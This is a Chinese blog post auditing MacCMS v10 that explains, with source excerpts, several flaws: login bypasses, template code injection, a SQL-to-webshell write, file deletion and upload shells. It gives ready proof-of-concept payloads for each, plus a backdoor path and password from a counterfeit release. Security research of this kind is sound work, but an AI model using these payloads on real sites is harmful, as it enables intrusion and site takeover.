边吃瓜边审计 MacCMS
作者:admin | 时间:2021-11-30 21:42:25 | 分类:黑客技术 隐藏侧边栏展开侧边栏
0x01 简介
MacCMS 是一套快速视频内容管理开源 cms 系统。据说 MacCMS 已经发展了 12 年,现在流行的两个版本是v10和v8,本次主要审计 v10 的代码。
MacCMS v10的代码采用了 ThinkPHP 5.0 的框架,在做代码审计时需要对 TP5 的框架比较熟悉。
真假 MacCMS
MacCMS 目前有两个自称官方的网站,maccms.la 和 maccms.pro。但这两者都没有拿出绝对的证据证明自己是 MacCMS 的官方平台,但两者都底气十足的指出对方是假冒网站。在审计 v10 的代码前,我对这场闹剧反而兴趣十足,下面是我吃瓜收集的一些信息,但不能保证以下信息的全部真实性,就当娱乐性的吃瓜了:
首先目前公认的是 MacCMS 作者是一个叫做老王的程序员(原名王波),在开发 MacCMS 期间,一直使用的域名是 maccms.com。不过在 2019 年,MacCMS 被用于构建非法网站的原因,官方域名 maccms.com 在2019年5月左右关闭。
maccms.la 的 github 账号为 magicblack,于 2016 加入 github 仓库,在 2019 年 7 月 8 日创建了 MacCMS v8 和 v10 的仓库。
按照 magicblack 的说法,2021年6月,maccms.com 域名被盗取,转移到了境外。现在 maccms.com 会被解析到 maccms.pro 域名上。
maccms.pro 的 github 账号为 maccmspro ,于 2021 年 6.4 日加入 github 仓库,更新频率明显慢于 magicblack。不过 maccmspro 在建立时就做好了计划要推出全新的版本。另外 maccmspro 在官网上的一篇博客声明自己并不是原版MacCMS 的作者老王,但却指出自己是正版? maccmspro 的意思似乎是不忍 MacCMS 盗版猖獗,于是单方面决定替老王维护 MacCMS 程序。
从这里其实能感受到 maccmspro 就是为了蹭原版 MacCMS 的热度,想做 MacCMS 的新官方平台,并逐步成为新版 MacCMS。
不过 maccmspro 在 github 似乎出现过一个乌龙,挺尴尬的,如下图,但此图真实性不确定。
另外也有一个域名 maccms.cn ,自称是 MacCMS 爱好者,和 maccms.la 网站的 UI 一模一样 ,却指出 maccms.la 是假冒域名,并指出官方域名为 maccms.pro。
下面是我找到的一张 MacCMS 早期 maccms.com 的首页图,maccms.la 和 maccms.cn 现在就是这样的 UI。
最后梳理一下,从有记录的时间上来看,magicblack 维护了 MacCMS 的代码有接近两年的时间,maccmspro 维护代码的时间只有 5个月。magicblack 在 github 上的点赞和 maccms.la 域名搜索排名上都要领先于 maccmspro。不过 maccmspro 拥有 .com 和 .cn 更让人信服的域名,配合强大的营销,maccmspro 也迅速站住了脚。
目前看来 maccmspro 确定是一个想借用原版 MacCMS 名声打造新 MacCMS 的平台,剩下的问题就是 magicblack 是否是原版。
我有找到苹果cms的百度贴吧,最早的消息能追溯到2017年,吧主名字也为 magicblack(这个 id 可以在很多博客网站上找到),从多方信息来看,magicblack 似乎是老王本人,种种迹象也表明 magicblack 似乎就是原版,但下面 magicblack 做的两件事也容易让人产生怀疑:
1)在 maccms.com 关闭后,magicblack 才在 github 上提交代码,无法证明在原官方正版存在时 magicblack 做出了重大更新。
2)magicblack 存在争议较大的文件:static/js/player.js,在 magicblack 中该文件的代码一直加密的,这段代码有引流、加载广告的嫌疑。maccmspro 声称解密了该代码,并利用这个把柄称 magicblack 在种木马,从而为自己赢得了不少信任。
关于 magicblack 和 maccmspro 的瓜参考如下信息:
https://www.maccms.la/
https://www.zhihu.com/question/469030135
https://tieba.baidu.com/p/7425108612
https://www.xunaonao.com/15058.html
吃瓜最后,无论谁是 MacCMS 的正版维护者,能吸取的教训就是要好好维护自己的知识产权,同时也不要辜负用户的信任,做一些奇怪的操作,毕竟对广大的使用者来说,好用是唯一标准。
最后我有一个小小的吐槽,老王为什么取名 MACcms?MacCMS 中文名是苹果CMS,所以Mac和苹果有什么关系???难道因为Macbook?
安装
代码在 magicblack 或 maccmspro 的 github 仓库下载就可以了,虽然不知道这两家谁是正版,但目前两者的代码是差不多的,如果要区分两家的代码,有下面两种方法。
1)区分 static/js/player.js 页面
maccmspro 和 magicblack 的 player.js 区别明显,可以在github上找相关源码对比细节,不过github上两者在代码版本标签上都没有打的很明显,该方法可能不够精准。
2)后台查看跳转
在后台点击左上角图标就会跳转到对应网站,是谁就一清二楚了。
【安装主题】
我下载的代码前台是没有模板文件的,这会影响对前台功能代码的审计。网上随便找套主题即可,这里贴一个好心人提供的模板:https://www.lanzoux.com/s/pgcms,据说 maccms 站长用海螺模板的较多,可以优先选这个。
0x01 前台任意用户登陆
在 MacCMS 最新版中,前台会员中心功能处存在两种登陆方式,通过构造参数可以实现任意用户登陆
(发此文时 magicblack 已在github 上修复)。
1.1 代码分析
关键代码如下:
可以看到有两种登陆验证方式,第一种是常见的用户名密码。
第二种验证方式转换成sql语句的where字段就是where $data['col']=$data['openid']
,而两边的参数都是可控的,所以这里很好通过验证。
// application/common/model/User.php
public function login($param)
{
$data = [];
$data['user_name'] = htmlspecialchars(urldecode(trim($param['user_name'])));
$data['user_pwd'] = htmlspecialchars(urldecode(trim($param['user_pwd'])));
$data['verify'] = $param['verify'];
$data['openid'] = htmlspecialchars(urldecode(trim($param['openid'])));
$data['col'] = htmlspecialchars(urldecode(trim($param['col'])));
if (empty($data['openid'])) {
// 验证用户名密码 ……
} else {
if (empty($data['openid']) || empty($data['col'])) {
return ['code' => 1001, 'msg' => lang('model/user/input_require')];
}
// 第二种验证
$where[$data['col']] = $data['openid'];
}
$where['user_status'] = ['eq', 1];
$row = $this->where($where)->find();
……
}
1.2 漏洞利用
构造where $data['col']=$data['openid']
,在数据库的 user 表中,user_id 是最清楚的,直接构造user_id=xxx
就可以实现任意用户登陆。
poc:openid为任意用户id
POST /index.php/user/login
openid=1&col=user_id
发送 poc 后会显示登陆成功,此时浏览器已经获取了登陆后的cookie,然后直接访问前台就好了。
登陆成功
0x02 绕过后台会话验证
在早些 MacCMS 版本中,后台会话认证的数据全部来自客户端的 cookie ,该参数可控,可以结合 TP5 的一些特性绕过后台的会话认证,从而登陆后台。
2.1 代码分析
后台登陆的关键代码如下:
$admin_id,$admin_name,$admin_check
来自客户端 cookie,通过 TP5 的cookie 助手函数
获取,所以这三个变量是可控的,同时该漏洞还需要理解 TP5 的 cookie 助手函数,后面会详细分析该函数的代码。
$admin_id,$admin_name,$admin_check
都不能为空,这里就会限制很多弱类型比较的参数。
$admin_id,$admin_name
会赋值到$where
上,==这里是直接赋值上去的,写法是不严谨的,也是造成该漏洞的关键因素之一==。这两个参数值最终会用于查询 admin 表的数据,查询结果赋值到$info
。这里$info
不能为空。这是后台的第一个验证条件,就是在 admin 表中存在$admin_id,$admin_name
的数据,这里的条件是比较好绕过的,后面会将详细构造。
$login_check
是一段 md5() 加密值,其中加密参数$info['admin_random']
是未知的。第二个验证条件便是$login_check
和$admin_check
弱类型相等,在没有$info['admin_random']
的情况下,没法构造相等的 md5 值,在$login_check
固定为一个 md5 字符串的情况时, 根据 PHP 的弱类型比较,==$admin_check
需要传入bool类型true
或整数类型0
,而TP5 的cookie 助手函数
获取的 cookie 确实存在这样的机会==,下面来看看该助手函数的详细代码。
// application/common/model/Admin.php
public function checkLogin()
{
$admin_id = cookie('admin_id');
$admin_name = cookie('admin_name');
$admin_check = cookie('admin_check');
if(empty($admin_id) || empty($admin_name) || empty($admin_check)){
return ['code'=>1001, 'msg'=>'未登录'];
}
$where = [];
$where['admin_id'] = $admin_id;
$where['admin_name'] = $admin_name;
$where['admin_status'] =1 ;
$info = $this->where($where)->find();
if(empty($info)){
return ['code'=>1002,'msg'=>'未登录'];
}
$info = $info->toArray();
$login_check = md5($info['admin_random'] . $info['admin_name'] .$info['admin_id']) ;
if($login_check != $admin_check){
return ['code'=>1003,'msg'=>'未登录'];
}
return ['code'=>1,'msg'=>'已登录','info'=>$info];
}
cookie 助手函数
将会调用\think\Cookie
类的get
方法获取客户端传来的 cookie 值,代码如下:
$name
是传入 get() 方法的参数,就是上面的 admin_id、admin_name、admin_check。
$value
就是 cookie 中的参数值,这里还有个判断,如果$value
是以think:
开头的字符串,其think:
后面的字符串又会经过json_decode()
和\think\Cookie::jsonFormatProtect()
的处理。
这里便是关键了,看了下php manual,json_deode()
在遇到true
,false
和null
会相应地返回 true
, false
和 null
,而 bool 类型的 true 就是我们一直期待的。
json_decode()
会使$value
获取到 bool 类型的 true值,然后又会经过think\Cookie::jsonFormatProtect()
处理,查看其代码,$value
为 true时并不会被处理,所以我们构造的 true活了下来。
// thinkphp/library/think/Cookie.php
public static function get($name = '', $prefix = null)
{
$prefix = !is_null($prefix) ? $prefix : self::$config['prefix'];
$key = $prefix . $name;
if ('' == $name) {…… } elseif (isset($_COOKIE[$key])) {
$value = $_COOKIE[$key];
if (0 === strpos($value, 'think:')) {
$value = json_decode(substr($value, 6), true);
array_walk_recursive($value, 'self::jsonFormatProtect', 'decode');
}
} else {
$value = null;
}
return $value;
}
protected static function jsonFormatProtect(&$val, $key, $type = 'encode')
{
if (!empty($val) && true !== $val) {
$val = 'decode' == $type ? urldecode($val) : urlencode($val);
}
}
2.2 漏洞利用
通过分析代码,绕过后台验证有两个判断条件,传入的可控参数是$admin_id,$admin_name,$admin_check。
1)条件1,能从数据库中查询到 admin_id,admin_name 的用户。该条件需要保证 admin 表中存在$admin_id,$admin_name
这样的值,即存在这样的管理员id,管理员用户名。
一般管理员id为1,账号为admin,这个概率还是很大的。不过这里也可以利用 TP5 的一个特性,可以传入如下的值:
$where['admin_id'] = ['like','%'];
$where['admin_name'] = ['like','%'];
$info = $this->where($where)->find();
此时执行的sql语句为如下:
SELECT * FROM `mac_admin` WHERE `admin_id` LIKE '%' AND `admin_name` LIKE '%' AND `admin_status` = 1 LIMIT 1
此时构造的cookie应该为:
admin_id[]=like;admin_id[]=%; admin_name[]=like;admin_name[]=%
这样将会查询到 admin 表中的第一个账号,一般第一个账号都是权限最大的,够用了,也可以尝试控制id,模糊匹配用户名。
2)条件2,md5验证
$admin_check
将会和数据库中查询到的 id,admin_name,admin_random做md5验证,因为 admin_random 这里是无法获取的,这三者的加密值必定一串未知md5加密字符串,不过利用 TP5 特性,可控制$admin_check
为 true,造成弱类型相等。
2.3 最终poc
所以最终的poc如下:
Cookie: admin_id[]=like;admin_id[]=%; admin_name[]=like;admin_name[]=%; admin_check=think:true
网上的公开的 poc 更加精简一些:
Cookie: admin_id=think:["like","%"]; admin_name=think:["like","%"]; admin_check=think:true
2.4 简单总结
在 v2020.1000.1035 版本以前存在漏洞,该漏洞的核心是弱类型比较,但也用到了很多 TP5 的特性,挖掘该漏洞还需要对 TP5 的框架代码十分了解。
v2020.1000.1042(2020.11.9)代码如下图,不知道维护者是有意还是无意,对 cookie 的值做了 urldecode() 操作,该操作最直接的影响就是$admin_check
的值无法控制为布尔类型的 true,所以该漏洞基本也就修复了。另外 $where 也指定了 'eq' 操作,这样的写法更加严谨一点。
在 v2020.1000.1062(2021.1.25) 版本中,将使用session处理会话,该漏洞基本就宣告结束了。
0x03 后台任意文件写入
后台【模板】=>【模板管理】功能处可以添加修改模板文件,该功能会造成任意文件写入,再利用 TP5 的模板解析特性,可能会执行写入的代码。
这个功能会造成很多利用方式, magicblack 版本一直在做修复,但始终有绕过的方式。结合网上公开的利用方式,我也发现了很多方法可以突破这些修复的版本,下面一一总结。
(发此文时 magicblack 已在 github 上修复)
3.1 代码分析
下面代码来自 v2020.1000.1035 版本:
$fname,$fpath
会指定模板文件的位置,其后缀被白名单限制,只能为 array('html', 'htm', 'js', 'xml') 其中之一。
$fcontent
为写入模板文件的内容,其内容禁止存在<?
,{php}
字符的字样,其实在早期版本中,甚至还没有该条过滤,很容易写入php代码,当时的漏洞编号为 CVE-2019-9829,可惜在github上没有找到cve漏洞源码。虽然现在过滤了一些php格式的字符,但仍然有绕过的机会,所以本文主要分析绕过漏洞修复的情况。
通过分析代码,我们可以写入一些html,js等后缀的静态文件,静态文件是没法被解析的。但这里又利用了 TP5 模板解析的特性,TP5在模板解析时会把静态模板文件编译成php后缀的缓存文件,然后被包含在对应的控制器代码中,从而输出视图。
所以在 TP5 中,只要能控制静态文件的内容,如在静态文件中写入<?php phpinfo();?>
,这段代码最终也会被包含在控制器中从而被解析执行,所以这里我们只要想办法在模板文件中写入 php 代码即可。
// application/admin/controller/Template.php
public function info()
{
$param = input();
$fname = $param['fname'];
$fpath = $param['fpath'];
if( empty($fpath)){
$this->error('参数错误1');
return;
}
$fpath = str_replace('@','/',$fpath);
$fullname = $fpath .'/' .$fname;
$fullname = str_replace('\\','/',$fullname);
if( (substr($fullname,0,10) != "./template") || count( explode("./",$fullname) ) > 2) {
$this->error('参数错误2');
return;
}
$path = pathinfo($fullname);
if(!empty($fname)) {
$extarr = array('html', 'htm', 'js', 'xml');
if (!in_array($path['extension'], $extarr)) {
$this->error('参数错误,后缀名只允许htm,html,js,xml');
return;
}
}
if (Request()->isPost()) {
$fcontent = $param['fcontent'];
if(strpos($fcontent,'<?')!==false || strpos($fcontent,'{php}')!==false){
$this->error('安全提示,模板中包含php代码禁止在后台编辑');
return;
}
$res = @fwrite(fopen($fullname,'wb'),$fcontent);
……
}
$fcontent = @file_get_contents($fullname);
$fcontent = str_replace('</textarea>','</textarea>',$fcontent);
$this->assign('fname',$fname);
$this->assign('fpath',$fpath);
$this->assign('fcontent',$fcontent);
return $this->fetch('admin@template/info');
}
3.2 漏洞利用
这个漏洞存在很久了,从 maccms.la 维护的代码来看,该漏洞被修复了几次,在实战中需要根据情况利用。
在 CVE-2019-9829 中,该漏洞第一次被提出,不过那时代码我也找不到了,当时的代码只允许修改 .html 这种静态文件,却忽略了写入php代码会被TP5的模板引擎编译后解析的情况。
现在能找到的最早的代码是 v2020.1000.1035 ,就是上面分析的代码,限制了写入内容具有php标记的情况。
在 v2020.1000.1035 版本中,过滤了更多内容,则表示写入内容中不能有这些字符。
在 2021.9.9 日的更新中(该更新没有打tags,后台显示版本号为v2022.1000.3024,感觉maccms.la维护不太专业的),过滤内容如下,在maccmspro版本中没有做该修复。
3.2.1 更换标记风格
php的 4 种标记风格:http://c.biancheng.net/view/7256.html
其实 php 有如下4种标记风格:
<?php …… ?>
<? …… ?> //启用 short_open_tag
<% …… %> //启用 asp_tags php7不支持
<script language="php">……</script> //php7 不支持
第三种和第四种能绕过<?
的过滤,本地测试第4种有效,不过不支持 php7 版本。
poc:
<script language="php">
phpinfo();
</script>
需要在php5中执行,另外在后面的修复版本中过滤了php字符,该poc会无效。
3.2.2 文件包含
先了解下tp5模板引擎的include标签,该标签可以实现文件包含,用法如下,被包含模板文件的起始目录应该为web部署目录。
{include file='模版文件1,模版文件2,...' /}
我们便可以考虑上传一个含有php代码的文件,然后利用模板编辑的功能使其包含上传的文件。
1)上传文件
后台有很多地方可以上传文件,我选择的功能是【文章】->【添加文章】,上传文件后可以看到文件内容。
这里会使用 finfo_file() 检测上传文件是否是php文件格式,绕过也很简单,在第一行加一些字符串就行,如我上传的文件如下:
111111
<?php phpinfo();?>
2)编辑模板
这里选一个我们能访问到的模板,为了方便我直接选择了前台首页的模板,在实战中要留意了,网站首页动静还是很大的。
添加include标签,包含我们上传的文件,然后保存即可。
3)检验成果
访问首页即可看到我们修改的模板已经被包含进去了。
最后可以看看缓存文件被编译成了什么样子。
poc:
{include file="upload/art_editor/20211109-1/fa8ae56a1bada27ac2c4edae0f7cbddb.txt" /}
在最新修复版本中过滤了 file 字符,导致该poc无效。file 字符都被被过滤了,include没过滤,这种修复方式还是有点奇怪的,我下的主题大多模板文件本身就有file字符,该功能在这种情况下形同摆设。
3.2.3 特殊标签
代码分析
上面说道{include}
这样的标签会被编译成文件包含的php语法,其实这里还有其他标签格式可以绕过最新的修复,这里先看看 TP5 是如何编译这些标签的。
TP5 编译模板位于\think\Template
类的 compiler() 方法,代码如下:
$content
就是静态模板文件读出来的内容
parseInclude() 就是上面解析include标签的函数,这里就不细看其中的代码
// thinkphp/library/think/Template.php
private function compiler(&$content, $cacheFile)
{
// 模板解析
$this->parse($content);
public function parse(&$content)
{
……
// 检查include语法
$this->parseInclude($content);
……
// 解析普通模板标签 {$tagName}
$this->parseTag($content);
……
深入 parseTag() 的代码,该函数最常见的解析规则如下:
Hello,{$name}!
Hello,<?php echo($name);?>!
标签 {$…} 包裹的内容就是 php 要输出的内容,粗略看一下 parseTag() 的代码会发现,解析标签不止有{$},还有其他很多情况,而大佬们就发现了这样的场景,佩服佩服呀!
根据网上流出payload,先看标签 {:} 的代码:
$regex 是正则表达式,用于抓取如{$name}
这样的标签结构,$match 是其中的一个匹配结果,其中$match[1] 是第一个匹配子组,就是剥离{}符号里面的内容,即$name
,该值赋值给 $str。
$str 的第一个字符作为 $flag,决定该标签的解析方式,这里查看第一个字符为:
的情况。
$str 会去掉第一个字符,然后被 parseVar() 处理后直接放到<?php echo $str; ?>
,所以保证$str内容即可,下面看下 parseVar() 的代码。
private function parseTag(&$content)
{
$regex = $this->getRegex('tag');
if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) {
foreach ($matches as $match) {
$str = stripslashes($match[1]);
$flag = substr($str, 0, 1);
switch ($flag) {
case ':':
// 输出某个函数的结果
$str = substr($str, 1);
$this->parseVar($str);
$str = '<?php echo ' . $str . '; ?>';
break;
parseVar() 的代码如下:
这里有个很关键的正则匹配,匹配结果如下图,这个正则会匹配$aaa.bbb,$aaa:bbb
的参数形式。
这是一个将正则表达式转换为图片的网站:jex.im通过图片更好理解正则表达式
另外这里有个正则规则
?>
一直没有百度到是什么,我转换为了?:
理解
没有匹配到正则 则不做处理
通过正则匹配的代码我也没有细看,通过调试大概知道是怎样的转换形式。
public function parseVar(&$varStr)
{
$varStr = trim($varStr);
if (preg_match_all('/\$[a-zA-Z_](?>\w*)(?:[:\.][0-9a-zA-Z_](?>\w*))+/', $varStr, $matches, PREG_OFFSET_CAPTURE)) {
……}
return;
最后来总结下,会有一下的转换形式:
1)未匹配到正则,不处理
{:aaa} => aaa => <?php echo aaa; ?>
2)数组参数
{:$aaa.bbb} => $aaa['bbb'] => <?php echo $aaa['bbb']; ?>
3)对象属性
{:$aaa:bbb} => $aaa->bbb => <?php echo $aaa->bbb; ?>
我们可以充分利用这个规则,写出如下格式:
{:$a="phpinfo";$a()} => <?php echo $a="phpinfo()";$a(); ?>
// 如果过滤了敏感字符,采用如下格式绕过
{:$a="ph"."pinfo";$a()}
然后看看模板编译结果:
在 v2022.1000.3024 版本中,便做了如下限制,{:
符号也被过滤了。
$filter = '<\?|php|eval|server|assert|get|post|request|cookie|session|input|env|config|call|global|dump|print|phpinfo|fputs|fopen|global|chr|strtr|pack|system|gzuncompress|shell|base64|file|proc|preg|call|ini|{:';
但是看代码,其实 $flag 为~、-、+
符号时,处理是一样的,所以这个修复方案并没有解决问题,也从另外一个方面看出了代码维护者对漏洞原理或TP5底层代码并不熟悉。
poc:
{~$a="ph"."pinfo";$a()}
漏洞利用
maccms 最新版本号是 v2022.1000.3024,这个版本在修改模板时过滤了很多字符串,导致模板文件本身的字符串也也被过滤了,导致整个功能显得有点鸡肋。
为了利用这个功能,需要找到一个没有一点敏感字符的模板文件,我写了个脚本完成了这部分工作:
我这里找到一个不需要登陆的模板 public/paging(不同的主题模板文件不同),该模板被 vod/search.html 包含,vod/search 可直接访问。在后台修改 模板 public/paging ,插入poc:
然后访问使用到该模板的地方。
0x04 后台利用数据库功能
Maccms 后台有一个执行 sql 语句的地方,位于【数据库】-》【执行SQL语句】。
4.1 代码分析
$sql
是客户端的参数,也就是要执行的sql语句。
$sql
以 select 字符开头不会进行任何处理,但这里是很好绕过的,可以看出这里本意是不想执行查询操作的。否则$sql
将会用Db::execute()
执行,Db::execute()
是 TP5 封装的执行原生sql的方法,是没有任何过滤的,所以利用这个功能我们是可以执行任意sql语句。
// application/admin/controller/Database.php
public function sql()
{
if($this->request->isPost()){
$param=input();
$sql = trim($param['sql']);
if(!empty($sql)){
$sql = str_replace('{pre}',config('database.prefix'),$sql);
//查询语句返回结果集
if(strtolower(substr($sql,0,6))=="select"){
}
else{
Db::execute($sql);
}
}
$this->success(lang('run_ok'));
}
return $this->fetch('admin@database/sql');
}
4.2 into outfile 写入木马
利用 SQL 写木马是常规操作,poc如下,加括号的原因是绕过strtolower(substr($sql,0,6))=="select"
条件。
(select '<?php phpinfo();?>' into outfile '/var/www/1.php')
不过这种利用方式首先要知道网站的根目录,其次还得看权限够不够。
获取根目录上暂时没有找到好办法,不过这里有可以借用修改模板的地方,使其输出ROOT_PATH
常量,这是保存 TP5 web 根目录的常量,代码如下,而且这种写法也不会被过滤,应该还是挺高效的:
{$Think.ROOT_PATH}
然后访问对应模板的页面获取到根目录,剩下的就是看有没有sql写文件的权限了。
说到这,已经能感受到这个模板能做很多事,比如输出 TP5 的配置文件中的数据库连接参数,这样就能直接获取数据库权限。
{$Think.config.database.username}<br>
{$Think.config.database.password}
这里的sql执行操作其实感觉也能做很多其他的事情,如很多程序会把数据库中的内容不禁过滤写入到文件中,利用这个功能,这里还能造成任意文件写入漏洞。
4.3 任意文件删除漏洞
有了执行任意 sql 的权限后,就能修改数据库的任意数据,然后我就想看看程序有没有获取数据库数据做敏感操作的地方。然后找到了一处删除文件的功能,位于【基础】-》【附件管理】。
这里介绍的漏洞位于 v2020.1000.1068 版本之后。maccms 早期也爆出过任意文件删除漏洞,https://github.com/magicblack/maccms10/issues/346,原理和这里差不多,不过漏洞都被修复了。
4.3.1 代码分析
删除功能的代码如下:
$ids
可以传入文件id,然后在数据库查找到id对应的文件路径 $v['annex_file'],最后拼接这个文件路径删除真实文件。
删除文件前会对真实的文件路径做验证,但这个验证方法有点问题,只需要满足file_exists($pic) && (substr($pic,0,8) == "./upload")
或count( explode("./",$pic) ) ==1
的条件就可以了。而这里路径会加上./
,似乎count( explode("./",$pic) ) ==1
条件不好满足了。
// application/admin/controller/Annex.php
public function del()
{
$param = input();
$ids = $param['ids'];
if(!empty($ids)){
if(is_array($ids)){
foreach($ids as $k=>$v){
$ids[$k] = str_replace('./','',$v);
}
}
$where=[];
$where['annex_id|annex_file'] = ['in',$ids];
$res = model('Annex')->delData($where);
……
// application/common/model/Annex.php
public function delData($where)
{
$list = $this->listData($where,'',1,9999);
$path = './';
foreach($list['list'] as $k=>$v){
$pic = $path.$v['annex_file'];
if(file_exists($pic) && (substr($pic,0,8) == "./upload") || count( explode("./",$pic) ) ==1){
unlink($pic);
}
}
……
4.3.2 漏洞利用
maccms 有一个 install.lock 文件,删除该文件后可重新安装 maccms 系统,以删除该文件来演示这里的操作。
1)向数据库插入要删除文件的路径
指定id好找文件,文件id什么的抓包就有了。
UPDATE `maccms`.`mac_annex` SET `annex_file` = 'upload/../application/data/install/install.lock' WHERE `annex_id` = 21
2)利用删除功能删除文件
0x05 其他问题
5.1 后台添加视频处存在存储xss
后台添加文章和添加视频处都有存储型xss,如下图所示,很多位置都能插入xss代码。
在前台就能访问到插入的xss代码,还是有一定的危害。
5.2 后台离线安装应用上传木马
在早期版本中,后台可以上传zip压缩包,maccms会解压后保存。
该功能关键代码如下图,压缩包的关键是 info.ini 文件。
系统本身有一份 info.ini ,复制过来修改一下就行,我修改的 info.ini 如下,留意到 name 将决定上传的目录名。
name = shell
title = test
intro = test
author = MagicBlack
website = http://www.maccms.la
version = 1.0.0
state = 0
url = /admin.php/addons/shell.html
然后把要上传的文件和 info.ini 放在同一目录并压缩,注意直接压缩上传的文件,压缩文件中不要有目录。
上传压缩包,解压的文件将被放到 addons/shell 目录下,这里的shell就是info.ini中的name,然后访问上传的文件即可。
漏洞修复
在 v2022.1000.3005 版本中(2020.12.13),该功能被禁用了,直接exit退出了。
5.3 假冒网站留后门
上面看了 magicblack 和 maccmspro 的闹剧,其实在2019年,maccms.com 关闭后,就出现过仿冒的网站,域名为 maccmsv10.com,很多人下载了仿冒网站的源码,而源码中却留有后门。
至今过去了两年的时间,仿冒网站也关闭了,这里就不多介绍了,估计现在使用这套代码的网站也是少之又少,这里记录一下这个版本的木马,也许运气好能遇到。
maccms10\extend\upyun\src\Upyun\Api\Format.php
maccms10\extend\Qcloud\Sms\Sms.php
密码 WorldFilledWithLove
0x06 总结
本次主要审计了 MacCMS v10的代码,发现其中的问题主要在于登陆认证,模板编辑,数据库功能操作上,仔细研究代码,发现很多问题都在于作者并不熟悉 TP5 底层代码的处理。
在fofa上能找到很多 MacCMS 的站点,可能这种网站很挣钱(嗯嗯嗯),也许正是因为不少的利益诱惑,上演了一波又一波的真假美猴王的好戏。
最后瓜吃到这里,代码也审到这里,这套代码可能还有一些有趣的漏洞,希望一起交流学习。